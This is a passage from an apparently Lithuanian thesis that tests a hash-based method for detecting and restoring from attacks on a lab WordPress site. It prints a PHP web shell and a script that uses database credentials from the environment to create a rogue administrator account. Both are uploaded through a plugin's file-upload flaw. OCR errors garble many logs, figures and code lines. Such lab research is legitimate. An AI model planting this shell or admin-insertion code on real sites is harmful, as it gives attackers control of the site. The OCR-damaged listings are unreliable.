4. Metodo ir jo pagrindu realizuoto prototipo pagrindiniai bruozai yra Siuolaikiniy technologijy
naudojimas ir maisos funkcijos reik§miy skaiciavimas.
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4. Hibridiniy kibernetiniy ataky prevencijos metodo eksperimentinis tyrimas

Pasitilyto metodo hibridiniy kibernetiniy ataky prevencijai informacinése sistemose veikimas buvo

eksperimentikai istirtas, pasinaudojant sukurtu prototipu, kuris apragytas 3 skyriuje. Siame skyriuje

apraSomi metodo veikimo kiekybiniai ir kokybiniai tyrimai bei atlickama gauty rezultaty analize.

4.1. Techniné jranga

Tyrimo metu kaip techniné jranga buvo naudojamas stacionarus kompiuteris, kuriame jdiegta
Oracle VM VirtualBox programiné jranga. Detali techninés jrangos specifikacija pateikiama 3

lentelé.

3 lentelé. Eksperimentinio tyrimo metu naudotos techninés jrangos detali specifikacija

Stacionarus kompiuteris

Procesorius

Intel Core i5-11600K @ 3.90Ghz

Operatyvioji atmintis

16384MB

Kietasis diskas

Corsair MP600 CORE, 1TB

Grafiné plokste

NVIDA GeForce GTX 1070 8GB

Tinklo ploksté

Intel 1225-V 2.5G Ethernet

Operacing sistema
Virtuali masSina

Procesoriaus branduoliai

Microsoft Windows 10 Pro

6

Operatyvioji atmintis

8096MB

Operacing sistema

Ubuntu 20.04.3 LTS

Tyrimui atlikti taip pat naudota programiné jranga:

e PyCharm 2021.2.3

e Google Chrome 96.0.4664.45, 100.0.4896.75

e Wordpress 5.8.1

e MySQL 5.7.35

e Docker 20.10.10

e Docker compose 1.25.0

e Python sisteminis time paketas
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4.2. Hibridiniy kibernetiniy ataky prevencijos metodo greitaveikos eksperimentinis tyrimas

Pirmojo eksperimento metu buvo tiriama hibridiniy kibernetiniy ataky prevencijos metodo
greitaveika. Siekiant iStirti kaip greitai prevencinis metodas gali aptikti faily pakeitimus buvo
atliekami eksperimentai pridedant failg skirtinguose pagal gyli kataloguose bei didinant faily kiekj ir
bendrg jy dydi.

4.2.1. Prevencinio metodo greitaveikos tyrimas pagal katalogy gylj

Pirmasis greitaveikos tyrimas skirtas nustatyti prevencinio metodo trukmés priklausomybe nuo
tikrinamo katalogo gylio. Katalogo gylis skai¢iuojamas pagal katalogo vietg nuo Sakninio katalogo.
Siekiant iStestuoti metoda, kai failas pakei¢iamas ar pridedamas bet kuriame katalogy gylyje buvo
pasirinkta ilgiausia katalogy grandiné. Ilgiausia katalogy grandiné ir katalogy gylio lygiai pateikiami
27 pav.

0-inis lygis

1-as lygis

2-as lygis plugins

3-as lygis

4-as lygis plugins

anet php_sdk

27 pav. llgiausios katalogy grandinés lygiai

Tyrimo metu buvo jdedamas naujas failas skirtinguose kataloguose, imituojant galiniy dury
jterpimg skirtinguose lygiuose ir pakartotinai leidziamas prevencinis metodas. Kiekvieno paleidimo
vykdymo laikas i§saugomas milisekundziy tikslumu naudojantis Python time sisteminiu paketu.

Tyrimo metu pastebéta, jog sistemoje vykstantys procesai ir procesoriaus apkrautumas gali daryti
jtaka prevencinio metodo vykdymo trukmei, todel nutarta vertinti deSimties bandymy vidurkj.
Tyrimo metu gauti rezultatai pateikiami lenteléje 4 lentelé, kurioje pateikiamas 10-ies bandymy
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rezultatai sekundémis, pagal pakeisto failo katalogo gylj. Tyrimo rezultatai taip pat pateikiami grafiky
pavidalu 28 pav.

4 lentelé. Prevencijos metodo greitaveikos tyrimo pagal katalogy gylj rezultatai

Bandymo Trukmé (s), pagal katalogo gylj

Nr. 6 lygio
1 3,372 5,989 3,206 5,544 3,191 3,565 5,299 3,389 3,600
2 3,693 3,607 3,226 6,421 3,542 3,522 5,700 3,396 3,544
3 2,404 3,362 3,194 5,846 3,300 3,520 4,882 3,504 3,565
4 2,417 3,371 3,219 3,845 3,386 3,513 4,938 3,505 3,682
5 2,494 3,375 3,225 3,558 3,427 3,588 5,286 3,532 4,180
6 3,227 3,402 3,348 3,584 4,094 4,423 5,253 4,671 5,620
7 3,300 3,449 3,414 3,713 5,649 5,727 5,193 5,779 5,930
8 3,249 3,529 4,907 3,813 5,668 6,000 5,445 6,151 5,665
9 3,364 4,038 5,577 3,848 5,308 5,630 5,653 5,512 5,739
10 4,613 5,657 5,502 4,913 5,719 5,754 3,648 5,783 5,367

Vidurkis =~ 3,213 3,978 3,882 4,509 4,329 4,524 5,130 4,522 4,689

Metodo gretaveika pagal katalogo gylj

6,000
5,130

4,522 4,689

5,000 4,509
3,978 3,882

4,000
3,213
3,000
2,000
1,000
0,000

4329 4,524

Trukmé, s.

HOlygio W1 lygio 2 lygio = 3 lygio M4 lygio W5 lygio M6 lygio M7 lygio W8 lygio

28 pav. Prevencijos metodo greitaveikos priklausomybé nuo katalogo gylio

Atliktas greitaveikos tyrimas tikrino tik faily ir duomeny bazés maiSos reikSmiy patikrinimg, be
atstatymo veiksmo. Kaip matosi i§ grafiko 28 pav., didéjant katalogy gyliui néra aiSkiai matomo
poky¢io tikrinimo trukméje. ISanalizavus rezultatus nustatyta, kad:

e Did¢jant katalogy gyliui tikrinimo laikas i§lieka panasus ir prognozuojamas;
e Faily tikrinimo laikas svyruoja nuo 2,404 s. iki 6,421 s. nepriklausomai nuo katalogo gylio.

4.2.2. Prevencinio metodo greitaveikos tyrimas pagal faily kiekj ir bendra dydj

Antrojo greitaveikos tyrimo metu, tikrinama metodo priklausomybé nuo informacinéje sistemoje
esamy ir tikrinamy faily kiekio ir bendro jy dydzio. Tyrimo metu informacinéje sistemoje buvo
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patalpinami skirtingo dydzio paveikslai, kurie imituoja naujai sukurtus straipsnius. Daznu atveju
straipsniai turi bent vieng paveiksla, kuris duomeny dydzio atzvilgiu yra didziausias.

Patalpinus skirtingus kiekius paveiksly buvo paleidziamas prevencinis metodas ir skai¢iuojama
tikrinimo trukmé. Kiekvieno paleidimo vykdymo laikas i$saugotas milisekundziy tikslumu ir
lenteléje 5 lentelé pateikiami 10-ies bandymy rezultatai sekundémis, pagal faily kiekj ir bendrg jy
dydj. Tyrimo rezultatai pateikiami grafiky pavidalu 29 pav.

5 lentelé. Prevencijos metodo greitaveikos tyrimo pagal faily kiekj ir dydj rezultatai

Trukme (s), pagal faily kiekj ir bendra jy dydj

. 124MB, 4437 failai 514MB, 6825 failai 1002MB, 9810 failai
1 2,621 15,213 34,383
2 3,099 16,067 43,888
3 3,104 19,416 37,876
4 3,195 22,254 43,893
5 3,195 19,950 27,204
6 3,285 21,327 39,885
7 3,386 15,349 38,353
8 3,393 19,458 31,093
9 3,440 18,674 38,858
10 4,523 18,078 38,102

Vidurkis 3,324 18,578 37,354

Metodo greitaveika pagal faily kiek;j ir dyd;j
40,000 37,354
35,000
30,000
vi 25,000
:&: 20,000 18,578
2
~ 15,000
10,000
5,000 3,324

W 124MB, 4437 failai W 514MB, 6825 failai ~ ® 1002MB, 9810 failai

29 pav. Prevencijos metodo greitaveikos priklausomybé nuo faily kiekio ir dydzio

Atliktas greitaveikos tyrimas tikrino tik faily ir duomeny bazés maiSos reikSmiy patikrinimag, be
atstatymo veiksmo. Kaip matosi i$ grafiko 29 pav., didéjant faily kiekiui ir jy bendram dydziui didéja
ir tikrinimo trukmé. ISanalizavus rezultatus nustatyta, kad:
e Didéjant faily kiekiui ir bendram jy dydziui pastebimas trukmés didéjimas;
e Faily dydziui padidéjus apie 4,2 karto pastebimas 5,6 karto trukmés padidéjimas, Kai
lyginamy faily kiekis skiriasi apie 1,5 karto;
e Faily dydziui padidéjus apie 8 kartus, pastebimas apie 11 karty trukmés padidéjimas, kai
lyginamy faily kiekis skiriasi apie 2,2 karto;
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4.3. Hibridiniy kibernetiniy ataky prevencijos metodo ataky aptikimo eksperimentinis
tyrimas

Kokybinio tyrimo metu buvo tiriama hibridiniy kibernetiniy ataky prevencijos metodo ataky
aptikimo kokybé. Siekiant patikrinti prevencinio metodo efektyvuma, realizuotos dvi hibridinés
atakos pagal keturis skirtingus scenarijus. Hibridinés atakos atlickamos iSnaudojant informacinéje
sistemoje jdiegty papildiniy pazeidziamumus ir skirtingi scenarijai pazeidzia arba duomeny bazés
jraSus arba failus esancius informacingje sistemoje.

Informaciné sistema sukurta kaip internetiniy zZiniy portalas, kuriame pateikiamos internetinés
zinios. Pradiné informacinés sistemos blisena pavaizduota 30 pav.

RYTY EKSPRESAS

n Mokyklose - mokytojy streikas n Lietuvoje kyla kuro kainos § 2022-sisiais laukia taika, bet ne i igavi H

inas ir judéjimo ribc

IR e it st

Svarbu Aktualu

Karantinas ir judéjimo ribojimai pratesiami dar
meénesiui

O 6mén.ago Jonas Radtaitls

Patikimiausias Sildymo saskaity maZinimo biidas -
namo renovacija

2022-aisiais laukia taika, bet ne ekonomikos
s

0 2mén.ago JonasRaltaitis

istorijos péd

Sunykusio delmono istorija
o #gu Jonas Radtaitis g0 Jonas Radtaitis

eciiloiood

Molyje isdegti Klaipéd

Po nemaloniy dieny ateina permainos: sinoptikai
turi gery Finiy
O 1mén ago Jonas Raltaitis

Uimnm} E
del |

o [ronis [uerous T wsusios ¥ suaseu |

Karantinas ir judéjimo ribojimai pratesiami dar
ménesiui

O 6ménago Jonas Radtaitis

Patikimiausias Sildymo saskaity mazinimo budas -

namo renovacija

cealaiDl

30 pav. Informacingés sistemos pradiné biisena

Pagrindiniame informacinés sistemos puslapyje 30 pav. matomos svarbiausios ir aktualiausios
naujienos. Tyrimo metu atliekamy hibridiniy ataky metu, siekiama pazeisti pateikiamos informacijos
tiksluma, sukuriant klaidingg straipsnj pagrindiniame puslapyje.

S¢kmingai jvykdzius hibriding ataka, pagrindiniame puslapyje matomas naujai sukurtas straipsnis,
kuris yra klaidingas. Informacinés sistemos buisena po hibridinés atakos pavaizduota 31 pav.
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o
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Karas Lietuvoje. Vilniuje, Kaune, Klaipédoje griaudéjo Patikimiausias Sildymo saskaity maZinimo budas -
imai namo renovacija

28 BN ¢
Karas Lietuvoje. Vilniuje, Kaune, Klaipédoje o

griaudéjo sprogimai Po nemaloniy dieny ateina permainos: sinoptikai turi [ 2022-aisiais laukia taika, bet ne ekonomikos

gery Ziniy atsigavimas

20 Jonas Raltaitis

Karas Lietuvoje. Vilniuje, Kaune, Klaipédoje gri &j Sunykusio delmono istorija Molyje iSdegti Klaipédos istorijos péd
sprogimai O Lmén.ego JonasRaitaitis O Lmén.sgo JonasRaitaitis

Curmdinta Anloanan Irbartia Cantnnic! MAnSaninn | inkmins maomnbales donb iial fn M AAl dn TEAnmd? Ul atm A ar Trbartian aadealial Nhdar 1% aloman 3 dlmeain bal

31 pav. Informacinés sistemos biisena po hibridinés atakos

Pagrindiniame informacinés sistemos puslapyje 31 pav. matomas naujas ir klaidinantis straipsnis.
Tyrimo metu siekiama iStirti ar prevencinis metodas gali aptikti naujo straipsnio jterpimg arba faily
pakeitimus ir atstatyti sistemg j prading jos biiseng.

4.3.1. Hibridinés kibernetinés atakos pirmas scenarijus

Tyrimo metu naudojamoje informacinéje sistemoje jdiegtas papildinys TheCartPress 1.5.3.6,
kuris turi neautentifikuoty naudotojy privilegijy ekskalavimo (angl. Privilege Escalation
(Unauthenticated)) pazeidziamuma [40]. Atakos scenarijus pateikiamas veiksmy sekos diagrama 32
pav.
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KenkejiS§kas naudotojas Inform aciné sistema ‘ | Duom eny bazé |
T T T

I I 1
I I |
I 1: KvieCiamas atakos programinis kodas » ! 1

1

2: Kuriamas naujas naudotoiasLI

4: Sukurtas naujas naudotojas

I
I
5: Jungiamasi prie sistemos su naujo naudotojo duomenimis _ |

6: Prisjungimas sékmingas U
s - - - - - —"— - —= - — — — |
I

7 Sukuriamas naujas klaidingas jrasas | . - |

| 8: Kuriamas naujas jrasas_ |

9: Sukurtas naujas jraSas
- 10: Naujo fraSo paskelbimas sekmingas

I
I
I
I
I
I
I

32 pav. Pirmas hibridinés atakos scenarijus

Hibridiné ataka vykdoma praleidziant jsilauzimo taikinio zvalgymo ir informacijos rinkimo
zingsnius. Pirmasis atakos scenarijus vykdomas $iais pagrindiniais zingsniais:

1. Naudojantis specialiai atakai paruo$tu Python programiniu kodu [40] atliekama ataka, kurios
metu sukuriamas naujas naudotojas su administratoriaus teisémis;

2. Jungiamasi prie paZeistos sistemos su naujai sukurtu naudotoju ir jo slaptazodziu;

3. Atliekama antroji atakos fazé ir sukuriamas naujas straipsnis, naudojantis jau esamais kitais
sistemos naudotojais, siekiant sumazinti aptikimo galimybe. Sukurtas straipsnis atakos metu
atvaizduotas 31 pav.

Tyrimo metu prevencinis metodas iSkvieCiamas scenarijaus pabaigoje leidZia patikrinti ar

aptinkama jvykusi hibridiné ataka ir atkuriama sistema j pradine biisena. Prevencinio metodo eiga ir
rezultatai pateikiami 33 pav.
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Time: 21:84:19.8693683 Checking publ instance

9ibPfadcdfa  192.168.8.106:5000/wordpress:pub_latest  “docker-emtrypoint.s." & minutes ago  Up 3 minutes 443 tcp, 192.16E.8.186:EBBB->EB/ tcp wp_publ

Checking hashes for publ instance

Modified root folder: wp_publ/wordpress/wp-content. Expected hash value: B3ebf2B381ac3357. Actual hash valve: SccfblelfsBeddZl

Modified folder: wp_publ/wordpress/wp-content/uploads. Expected hash value: 26a5541f4%bBbaB3. Actual hash value: E7df39fSéeabZbbe

Modified folder: wp_publ/wordpress/wp-content/vploads/2821. Expected hash value: Be®ciBeGBESEEdSa. Actual hash value: BdéB&&3f311ba3TF

Modified folder: wp_publ/wordpress/wp-content/uploads/2821/18. Expected hash valve: b2TcB32cTTfefabd. Actual hash value: 154284aB5o0BTdal

Modified folder: wp_publ/wordpress/wp-content/uploads/2821/11. Expected hash value: BfedsscBi&BPe2e?. Actual hash value: &51BT9cSfoflbScd

Modified folder: wp_publ/wordpress/wp-content/uploads/2822. Expected hash valve: a73Bbcadéell®6ch. Actual hash value: 23bdBe2BelBodd3b

Modified folder: wp_publ/wordpress/wp-content/uploads/2822/84. Expected hash value: 2¥bd53214179168d. Actual hash value: bodés&STecTBadBdd

Modified folder: wp_publ/wordpress/wp-content/uploads/2822/83. Expected hash valuve: l4descllef%d¥B4e?. Actual hash velue: 2bdf24588a3523bb

Hew folder wp_publ/wordpress/wp-content/uploads,2622/85 detected

Mew file wp_publ/wordpress,/wp-content/uploads/2822//65/ karas- BBBS0E . jpg detected

Hew file wp_publ/wordpress,/wp-content/uploads/2822/85/ karas. jpo detected

Hew file wp_publ/wordpress/wp-content/uploads/2822/05 karas- 4BBx250. jpy detected

Hew file wp_publ/wordpress/wp-content/uploads/ 282265 karas- 540340, jpg detected

Mew file wp_publ/wordpress,/wp-content/uploads/2822/05/ karas- 768x577. jpy detected

Hew file wp_publ/wordpress/wp-content/uploads/2022/85/ karas- 156x150. jpy detected

Hew file wp_publ/wordpress/wp-content/uploads/2822/85/karas- 300x225. jpg detected

Mpdified table: wp_posts. Emtry: (274, 3, datetime.dstetime(2822, 5, 19, 21, 1, &B), None, '', 'AutomstiSkai iSssugotss juodreStis', '', 'avto-draft', 'closed', 'closed', '*', ', ‘', '"
Wew entry in table: wp_posts. Entry: (275, 3, datetime. datetime(2022, 5, 19, 21, 1, 52), None, '', 'AutomatiSkai iSssugotas juodrasStis', '', 'asuto-draft’, ‘closed', 'closed', '', '', '’
Mew entry in table: wp_posts. Entry: (276, 3, datetime.datetime(2822, 5, 19, 21, 1, 56), None, '', 'AutomatiSkai iScavgotas juodrasStis', '', 'auto-draft’, ‘closed', 'closed', '', '', '',
Mew entry in table: wp_posts. Entry: (277, 2, datetime.datetime(2022, 5, 19, 21, 3, 57), datetime.dstetime(20822, 5, 19, 18, 3, 57), '<!-- wprcover {"url":"http:/fre.1t:BB66 wp-content /upl
Mew entry in table: wp_posts. Entry: (278, 3, datetime.datetime(2822, 5, 1%, 21, 3, &), datetime.dstetime(2622, 5, 1%, 1B, 3, &), '', 'karas', '', 'inherit', 'closed', 'closed', '', 'kara
Wew emtry in table: wp_posts. Entry: (279, 3, datetime.datetime(2822, 5, 1%, 21, 3, 57), datetime.datetime(20822, 5, 1%, 18, 3, 57), '<!-- wp:rcover {"url":"http:/fre.1t: 8068 wp-content /upl
Modified table: wp_term_taxonomy. Emtry: {1, 1, ‘category’, ‘Alktualisvsios navjienos', @, &). Expected hash valve: BEledS3fafefcd53. Actual hash valve: bciSbhacif3e335Gd

Modified table: wp_term_taxonomy. Emtry: (2, 2, 'category', 'Navjavsics Zinios', @, 5). Expected hash walue: 2cSBebdaaf2®5Bb6. Actual hash value: &9fe?blE9311886F

Modified table: wp_term_taxonomy. Emtry: (3, 3, 'category', 'Lietuvos navjienos', ©, &). Expected hash valuve: £3a4B1953bcSe542. Actual hash value: &71aéBBatbébbSd2

Modified table: wp_term_taxonomy. Emtry: (B, 8, 'category', 'Gyvenimo navjienos'; 8, &). Expected hash valuve: 41925beSe7ab5aTe. Actual hash value: cBB3&%efaSBBcfbE

Mpdified table: wp_term_taxonomy. Emtry: (11, 11, ‘category’, ‘Swarbisusios naujiemos', 8, 3). Expected hash walue: bb21c¥78fBBfa37c. Actual hash value: BBceSFTeccBlad2d

Mew entry in table: wp_vsermeta. Emtry: (99, 3, 'nickname’, 'adnin 82').

Mew emtry in table: wp_vsermeta. Emtry: (108, 3, ‘first_name', '').

Modified table: wp_usermeta. Emtry: (161, 3, 'last_name', ''). Expected hash walue: ad5925ced2eaBbéB. Actual hash walue: 3B&4fiBe63balala

Wew entry in table: wp_vsermeta. Emtry: (182, 3, ‘'description’, '').

Wew entry in table: wp_usermeta. Entry: (183, 3, 'rich_editing', 'true').

Mew entry in table: wp_usermeta. Entry: (184, 3, 'syntax_highlighting', 'true').

Wew entry in table: wp_usermeta. Entry: (185, 3, 'comment_shortcuts', 'false').

Wew entry in table: wp_usermeta. Emtry: (186, 3, 'admin_color', 'fresh').

Wew entry in table: wp_usermeta. Emtry: (167, 3, ‘uvse_ssl', '@6').

Mew entry in table: wp_usermeta. Entry: (188, 3, 'show_adnin_bar_fromt', "troe').

Wew entry in table: wp_usermeta. Entry: (189, 3, ‘locale’, ‘).

Mew entry in table: wp_usermeta. Entry: (118, 3, 'wp_capabilities', 'a:2:{s:10:"subscriber”;b:1;s:13:"adninistrator”;b:1;}').

Mew entry in table: wp_vsermeta. Emtry: (111, 3, ‘wp_user_lewel', '18').

Wew emtry in table: wp_usermeta. Emtry: (112, 3, 'dismissed_wp_pointers', ''].

Mew entry in table: wp_usermeta. Entry: (114, 3, ‘tcp_last_login', *2@2Z-85-1% Zi:@1:41').

Mew entry in table: wp_usermeta. Emtry: (115, 3, 'wp_dashboard_guick_press_last_post_id', 'Z7&').

Mew emtry in table: wp_vsermeta. Entry: (116, 3, 'community-events-location', ‘s:li{s:2:"ip";s:11:"192.168.8.8";}').

Mew entry in table: wp_usermeta. Emtry: (117, 3, ‘wp_user-settings', 'libraryContentzbrowse').

Wew entry in table: wp_usermeta. Emtry: (118, 3, ‘wp_user-settings-time', '1652983432').

New emtry in table: wp_users. Emtry: (3, ‘adnin_82', '$P$BoLDRpEwByhSDbUeHhX&ClyiMvl3ss.', 'sdnin_82', 'testftest.com’, '', datetime.dstetime(2822, 5, 19, 18, 8, 52), '', 6, 'adnin_82').

Instance publ modified. Files changed: True. DB changed: True
cha256:21bfcbi 20aBdoaSchff4218edd550BBbBEYhBEBEFELF54bel2BE4TeabeGBOSRE

sha256:6b3e1479cc356bboBTR6FF34581TFbicdb

GEVEER SocEb

o

Untagged: wp_publ:2622_B5_1%-21_B4_25

Deleted: sha25é:Zibfcd

Deleted:
Untagged:
Deleted:
Deleted:

Stopping

Stopping

Remowing

Remowing

Removing

Creating

Creating

Creating
Restore successful for instance publ. Compromised containers saved in fopt/magistras/alerts/2022_85_19-21_84_25/publ/

sha25be: 3fEdZbc2?ectiai2ilalzefSchldfaTrh

db_publ:2822 B5_19-21 B4_25

cbff&21Bedd55hEb

Fo4FEabel 2E54TcobeSE05EE

E5ed

sha256:6b3e1479cc356bboBTP6F 34561 7Fblcdbacc3ctbaTlad?b fbae 3656CE0YE55c

sha256:4aZeleebac3aSIETEFTTITbiezE

wp_pubd ...
db_publ ...
wp_publ ...
db_publ ...
network publ_publ-net

b&ETaf5 bbEaeffales

metwork "publ_publ-net" with driver "bridge"

db_pubd ...
wp_publ ...

33 pav. Prevencinio metodo tikrinimo eiga ir rezultatai (1 scenarijus)

Prevencinis metodas pradeda tikrinti viesai prieinamos kopijos maiSos funkcijos reik§mes ir
aptinka pakeistus ir naujus katalogus informacinéje sistemoje. Duomeny bazés tikrinimo metu taip
pat aptinkami pakeitimai duomeny bazeje. Aptikus pakeitimus pradedamas atstatymo procesas, kurio
metu iSsaugoma dabartiné sistemos biisena bei srauto failai ir paleidziami nauji konteineriai i$
etaloninés sistemos atvaizdy.
Atstatymo metu sukurti failai ir katalogai atvaizduoti paveikslu 34 pav.
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u@u-VirtualBox: [r i lerts/ 065_19-21_04_25/pubi$ 1s

db pubil.log network-anal S wp_ﬁﬁbl.log
wp_publ-file-analysis.log

34 pav. Sistemos atstatymo metu sukurti failai ir katalogai

Sistemos atstatymo metu sukuriami Sie failai ir katalogai:

1.

o gk wd

4.3.2.

db_publ.log — duomeny bazés jrasy tikrinimo metu rasti pakeitimai;

db_publ.tgz — pazeistos duomeny bazés konteinerio atvaizdas;

network-analysis — katalogas, kuriame i$saugoti srauto failai .pcap formatu;
wp_publ-file-analysis.log — kenkéjisky faily duomeny bazéje tikrinty naujy faily rezultatai;
wp_publ.log — informacinés sistemos faily ir katalogy tikrinimo metu rasti pakeitimai;
wp_publ.tgz — pazeistos informacinés sistemos konteinerio atvaizdas.

Hibridinés kibernetinés atakos antras scenarijus

Tyrimo metu naudojamoje informacingje sistemoje jdiegtas papildinys WP Mobile Detector 3.5,
kuris turi savavaliSko failo jkélimo (angl. Arbitrary File Upload) pazeidziamumg [41]. Atakos
scenarijus pateikiamas veiksmy sekos diagrama 35 pav.

| Kenkéjiskas naudotojas | | Informaciné sistema ‘ | Duomeny bazé |
T T T

1 1
1 1: [dedamas "galiniy dury” programinis kodas 1

1
|
1
2: |[dedamas vartotojo suktrimo programinis kodas 1
|
3. Jungiamasi prie "galiniy dury" ir Skvieiamas vartotojo suktrimo programinis kodas, :
f: Kuriamas naujas naudotojas

L i Sﬂ(ur@s rLaujaE virlotgias 7777777 Gé S%ur@s laujaj nile:Jiojas
|
1
7 Jungiamasi prie sistemos su naujai sukurtu naudotoju |
|
e 8: Prisjungimas sékmingas :
| |
9: Paskelbiamas naujas klaidingas jraSas | 10° Kuriamas naujas jradas 1
-l

é11: Sukurtas naujas jrasas

12: Naujo raso paskelbimas sékmingas [ [~ — T T T T 1
K — == = = = == — = = = = = = = — = — = T I
1 1
| |
1 1
1 1
T | |
1 1
I I

35 pav. Antras hibridinés atakos scenarijus

Hibridin¢ ataka vykdoma praleidZiant jsilauZimo taikinio Zvalgymo ir informacijos rinkimo
zingsnius. Antrasis atakos scenarijus vykdomas $iais penkiais pagrindiniais Zingsniais:

1.

2.

3.

4.

Naudojantis papildinio paZeidZziamumu jkeliamas ,,galiniy dury“ programinis kodas j
informacing sistema;

Naudojantis papildinio pazeidziamumu jkeliamas paruostas naudotojo sukiirimo programinis
kodas j informacing sistema. Naudotojo suktrimo programinis kodas paruostas taip, jog biity
panaudojami Wordpress konteinerio aplinkos kintamieji, kuriuose nurodomi prisijungimai
prie duomeny bazes;

Naudojantis jkeltu ,,galiniy dury“ programiniu kodu iSkvieCiamas naudotojo sukarimo
programinis kodas;

Jungiamasi prie paZeistos sistemos su naujai sukurtu naudotoju ir jo slaptazodziu;
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5. Atlickama antroji atakos fazé¢ ir sukuriamas naujas jraSas, naudojantis jau esamais kitais
sistemos naudotojais, siekiant sumazinti aptikimo galimybeg.

Atakos metu naudojamas ,,galiniy dury* programinis kodas pateikiamas 36 pav.

1 <?php

2 if{isset (& _REQUEST["cmd 1))
3= o

4 echo "<pre>";

5 fcmd = (5_REQUEST['cmd"]):
[ system{fomd);

¥ echo "</pre>";

g die;

9 T

1@ >

36 pav. ,,Galiniy dury” programinis kodas

»@Galiniy dury® programinis kodas sukurtas taip, jog yra atidaroma komandin¢ eiluté iSkvietus
programinj koda. Naudojantis komandine eilute galima atlikti visus veiksmus, kuriuos gali atlikti
informacinés sistemos sisteminis naudotojas.

Kibernetinés atakos metu taip pat jkeliamas naudotojy sukiirimo programinis kodas, pateiktas 37
pav.

1 <?php

2 $servername=geteny( 'WORDPRESS_DB_HOST');

3 getenv( 'WORDPRESS_DB_USER");

< getenv (' WORDPRESS_DE_PASSWORD ) ;
5 0 'WORDPRESS_DB_MAME '} ;

[ ffconnection to mysqgl

7 fconn=mysgli_connect(%zervername, fusername, $password, %db);
8 if{!%$conn)

g -

1@ die("Connection Failed".mysql_error());
11 ¥

12

13 $sgl = "INSERT INTO wp_users

14 {ID,user_login,user_pass,user_nicename,user_email,user_url,user_registered,user_activation_key,user_status,dizplay_name)

15 WALUES ('3",'hacker',MD5{"hacker'), "hacker', 'hacker@inbox.lt’, 'http://localhost’,'2022-84-12","",0, hacker'}";
16~ if (%conn-»query(%sgl) === TRUE) {

17 echo "Mew user created successfullyin";

18 = } else {

19 ec "Error while creating userin"}

20 ¥

21 $sgl = "INSERT INTO wp_usermeta

22 {“umeta_id", “user_id", "meta_key", “meta_value’)

23 WALUES (MULL, '3', 'wp_capabilities", 'a:l:{s:13:\"administrator\”;b:1;}"'),
24 {WULL, '3', 'wp_user_level', '18'),
25 {MULL, '3", "show_u 1"

25 (NULL, '3', "rich_

27 =  if (%conn-rquery(

28 echo "Mew usermeta created successfully.n"™;

29~ } else {

38 echo "Error while creating usermeta‘n".%sgl."<br>".%conn-error;
31 ¥

32 mysgli_close($conn);

33 »

37 pav. Naudotojy sukiirimo programinis kodas

Sukurtas naudotojy sukiirimo programinis kodas iSnaudoja paleisto konteinerio trikuma, jog
prisijungus prie konteinerio galima matyti aplinkos kintamuosius. Siuo atveju aplinkos
kintamuosiuose jraSyti Wordpress duomeny bazés prisijungimai, kuriais pasinaudojant sukuriamas
naujas naudotojas.

Prevencinio metodo rezultatai paleidus po antrojo hibridinés atakos scenarijaus pateikiami 38 pav.
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Time: 81:22:47.768734 Checking publ instance
5f4alf7ab5b8  192.168.8.186:5008/wordpress:pub_latest  */entrypoint.sh® 2 minutes ago  Up 2 minutes  &43/tcp, 192.168.0.106:8808->88/tcp wp_puhl
Checking hashes for publ instance
Hodified root folder: wp_publ/wordpress/wp-content. Expected hash value: 58e981da28278Bbé. Actual hash value: 7aca7fBell297aed
Hodified folder: wp_publ/wordpress/wp-content/plugins. Expected hash value: 5d5dfcch?c7822d2. Actusl hash walue: 3c908F192061blc8
Modified folder: wp_publ/wordpress/wp-content/plugins/wp-mobile-detector. Expected hash value: B4be@B3175dhdfhd. Actual hash value: 914e3881FFBSh626
Hodified folder: wp_publ/wordpress/wp-content/plugins/wp-mobile-detector/cache. Expected hash value: 1827d249ae8a52b2. Actual hash value: Be4dlf4248dclb57+
New file wp_publ/wordpress/wp-content/plugins/wp-mobile-detector/cache/shell.php detected
New file wp_publ/wordpress/wp-content/plugins/wp-mobile-detector/cache/create_user.php detected
Hodified folder: wp_publ/wordpress/wp-content/uploads. Expected hash value: e59F563996f13fbl. Actual hash walue: 25545ddf7816fcc?
Hodified folder: wp_publ/wordpress/wp-content/uploads/2822. Expected hash value: eBBdce32c4dd1638. Actual hash value: bB&F8Ffalc3blb9sf
Hodified folder: wp_publ/wordpress/wp-content/uploads/2022/85. Expected hash value: al3fdB2Bbbéah7ac. Actual hash value: 98f622ebdcTedéld
New file wp_publ/wordpress/wp-content/uploads/2822/85/karas.jpg detected
New file wp_publ/wordpress/wp-content/uploads/2022/85/karas-3080x225.pg detected
New file wp_publ/wordpress/wp-content/uploads/2022/65/karas-800x500.jpg detected
New file wp_publ/wordpress/wp-content/uploads/2822/65/karas-488x258.jpg detected
New file wp_publ/wordpress/wp-content/uploads/2822/85/kares-150x158.3pg detected
New file wp_publ/wordpress/wp-content/uploads/20822/685/kares-540x340.jpg detected
New file wp_publ/wordpress/wp-content/uploads/2822/65/karas-768x577.jpg detected
Hodified table: wp_posts. Entry: (274, 3, datetime.datetime(2822, 5, 28, 1, 28, 51), None, '", 'AutomatiZkai i3saugotas juodradtis®, "', 'avto-draft®, ‘closed’, 'closed’, **, "', '", '", datetis
New entry in table: wp_posts. Entry: (275, 2, datetime.datetime(2822, 5, 28, 1, 21, 51), datetime.datetime(2822, 5, 19, 22, 21, 51), "<!-- wp:cover {"url®:"http://re.1t:808608/wp-content/uploads/:
New entry in table: wp_posts. Entry: (276, 3, datetime.datetime(2822, 5, 28, 1, 21, 12), datetime.datetime(2022, 5, 19, 22, 21, 121, '*, "keras', '', 'inherit', 'closed’, 'closed’, "', 'karas’,
New entry in table: wp_posts. Entry: (277, 3, datetime.datetime(2822, 5, 28, 1, 21, 51), datetime.datetime(2822, 5, 19, 22, 21, 51), "<!-- wp:cover {"url":"http://re.1t:8808/wp-content/uploads/;
Hodified table: wp_term_taxonomy. Entry: (1, 1, "category’, 'Aktualiausios navjienos®, 8, 6). Expected hash value: BBle453fafefc4a53. Actual hash value: bclSbaclB83e3355d
Hodified table: wp_term_taxonomy. Entry: (2, 2, "category', 'Naujausios Zinios', 8, 5). Expected hash value: 2cGBeédaaf295866. Actual hash value: 69fe9b189311886F
Modified table: wp_term_taxonomy. Entry: (3, 3, “"category®, 'Lietuvos naujienos', 8, 4). Expected hash value: 63a4B1953bc56542. Actual hash value: 671latBBaébébh5d2
Hodified table: wp_term_taxonomy. Entry: (8, B, "category®, 'Gyvenimo naujienos', 8, 6). Expected hash value: 41925heSe7aé5aTe. Actual hash value: cBB3&9ef450BCThE
Modified teble: wp_term_taxonomy. Entry: (11, 11, 'category', 'Svarbisusios naujienos', 8, 3). Expected hash value: bb21c978f88fa37c. Actual hash value: BBce5f7eccBla?24
